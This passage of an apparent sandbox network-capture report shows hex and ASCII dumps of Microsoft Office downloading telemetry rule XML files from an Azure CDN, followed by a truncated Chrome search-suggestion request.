2024-12-08 16:45:13 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-08 16:45:13 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:15 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:16 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c11b12be-901e-0048-4704-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164516Z-r1cf579d778qgtz2hC1EWRmgks00000005n0000000007wty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:16 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:15 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:16 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b116ba0-201e-0051-0503-487340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164516Z-r1cf579d778t5c2lhC1EWRce3w00000006f0000000007ppw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:16 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:15 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:16 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 37b49224-801e-00ac-424b-49fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164516Z-r1cf579d7789jf56hC1EWRu5880000000140000000000c1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:16 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:15 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:16 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3fcd35f4-e01e-0052-4b02-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164516Z-r1cf579d7784wpmvhC1EWRk4cn00000005d0000000001vnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:16 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:16 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:16 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 75167780-601e-000d-444b-492618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164516Z-r1cf579d7789jf56hC1EWRu5880000000110000000003tc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-08 16:45:16 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:18 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:18 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 27a1a40f-f01e-0096-7d0b-4810ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164518Z-r1cf579d7788pwqzhC1EWRrpd8000000064000000000554v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:18 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:18 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3de6f1c3-b01e-003d-6e01-48d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164518Z-r1cf579d778t5c2lhC1EWRce3w00000006f0000000007ps2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:18 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:18 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1e9ba10d-901e-0029-2907-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164518Z-r1cf579d778bb9vvhC1EWRs95400000005hg000000001mq6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:18 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:18 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9879796e-101e-0034-5802-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164518Z-r1cf579d778bb9vvhC1EWRs95400000005gg000000002k1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:18 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:18 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c4bc35ba-101e-007a-7206-48047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164518Z-r1cf579d778t6txphC1EWRsd4400000006b000000000545s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:18 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49729	142.250.181.100	443	7856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:19 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-08 16:45:20 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:20 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-2JXgTfBwBcOpB9M57lnRTQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: 